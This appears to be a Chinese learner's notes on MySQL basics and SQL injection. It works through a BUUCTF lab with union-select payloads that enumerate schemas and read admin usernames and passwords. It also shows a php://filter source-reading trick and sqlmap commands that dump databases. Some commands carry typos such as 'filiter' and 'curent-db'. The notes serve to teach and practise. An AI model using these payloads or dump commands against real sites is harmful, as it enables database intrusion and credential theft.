MySQL初接触
MySQL注入
能力要求
- 能够找寻到注入点
- 能够判断后端数据库是什么类型
- 能够绕过各种过滤
SQL语句
- 采用phpstudy搭建环境
- 进入phpstudy_pro\Extensions\MySQL5.7.26\bin
- 启动powershell
- 输入
.\mysql -uroot -proot
- 成功连上数据库
查询语句
show databases;
显示数据库
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.00 sec)
create database test;
创建一个名为test的数据库
mysql> create database test;
Query OK, 1 row affected (0.00 sec)
use test;
切换当前数据库为test
mysql> use test;
Database changed
create table users( id int(11), name varchar(255));
创建一个名为users的表,其中具有两列,id和name
mysql> create table users( id int(11), name varchar(255));
Query OK, 0 rows affected (0.01 sec)
show tables;
展示数据库中已有的表
mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| users |
+----------------+
1 row in set (0.00 sec)
desc users;
展示表结构
mysql> desc users;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| id | int(11) | YES | | NULL | |
| name | varchar(255) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.00 sec)
insert into users values(1,'ming'),(2,'MING');
插入
mysql> insert into users values(1,'ming'),(2,'MING');
Query OK, 2 rows affected (0.00 sec)
Records: 2 Duplicates: 0 Warnings: 0
select * from users;
查询所有数据
mysql> select * from users;
+------+------+
| id | name |
+------+------+
| 1 | ming |
| 2 | MING |
+------+------+
2 rows in set (0.00 sec)
select * from users order by id desc;
查询结果排序
mysql> select * from users order by id desc;
+------+------+
| id | name |
+------+------+
| 2 | MING |
| 1 | ming |
+------+------+
2 rows in set (0.00 sec)
select * from users limit a offset b;
b起始(计数从0开始)查询a行
mysql> select * from users limit 1 offset 0;
+------+------+
| id | name |
+------+------+
| 1 | ming |
+------+------+
1 row in set (0.00 sec)
mysql> select * from users limit 1 offset 1;
+------+------+
| id | name |
+------+------+
| 2 | MING |
+------+------+
1 row in set (0.00 sec)
修改语句
update users set name='mingzi' where id = 1;
更新id为1的记录的name为mingzi
mysql> update users set name='mingzi' where id = 1;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
delete from users where id=1;
删除id为1的记录
mysql> select * from users;
+------+--------+
| id | name |
+------+--------+
| 1 | mingzi |
| 2 | MING |
+------+--------+
2 rows in set (0.00 sec)
mysql> delete from users where id=1;
Query OK, 1 row affected (0.00 sec)
mysql> select * from users;
+------+------+
| id | name |
+------+------+
| 2 | MING |
+------+------+
1 row in set (0.00 sec)
SQL注入漏洞
起源:开发者将外来参数拼接到SQL语句中
防御:
-
对输入的参数过滤
-
使用预编译语句,外来参数作为语句的参数传入
BUU SQL COURSE 1
-
判断漏洞点
-
union联合查询判断列数
/backend/dontent_detail.php?id=0 union select 1
说明列数不是1
列数为2
-
查看已有数据库
information_schema
-->tables
所有的表/clolumes
所有的列 -
/backend/content_detail.php?id=0 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
一行显示1,group_concat
查询出所有数据库名
-
/backend/content_detail.php?id=0 union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='news'
admin表里应该有东西
-
/backend/content_detail.php?id=0 union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='news' and TABLE_NAME='admin'
查看数据表所带的列 两个限制条件存在三列
-
读管理员账号,密码
/backend/content_detail.php?id=0 union select 1,group_concat(username) from news.admin
/backend/content_detail.php?id=0 union select 1,group_concat(password) from news.admin
PS
/?file=php://filiter/read=convert.base64-encode/resource=./index.php
伪协议可以读出源码
解码之后可以在本地组出文件
二次注入:
在数据进入数据库的时候有转义,但当取出来转移回来之后再次拼接使用的时候没有转义/过滤,导致了语句被注入。
总结与思考
盲注
全自动工具SQLMAP
检查注入点
sqlmap -u http://02c86d7f-2034-47f0-a936-93496c2f6baa.node3.buuoj.cn/Less-1/?id=1
爆破所有数据库信息
sqlmap -u http://02c86d7f-2034-47f0-a936-93496c2f6baa.node3.buuoj.cn/Less-1/?id=1 --dbs
爆破当前数据库信息
sqlmap -u http://02c86d7f-2034-47f0-a936-93496c2f6baa.node3.buuoj.cn/Less-1/?id=1 --curent-db
指定库名列出所有表
sqlmap -u http://02c86d7f-2034-47f0-a936-93496c2f6baa.node3.buuoj.cn/Less-1/?id=1 -D 指定数据库名 -tables
指定库名表名列出所有字段
sqlmap -u http://02c86d7f-2034-47f0-a936-93496c2f6baa.node3.buuoj.cn/Less-1/?id=1 -D 指定数据库名 -T 指定数据表名 --columns
指定库名表名字段dump出指定字段
sqlmap -u http://02c86d7f-2034-47f0-a936-93496c2f6baa.node3.buuoj.cn/Less-1/?id=1 -D 指定数据库名 -T 指定数据表名 -C 指定字段1,指定字段2,指定字段3 --dump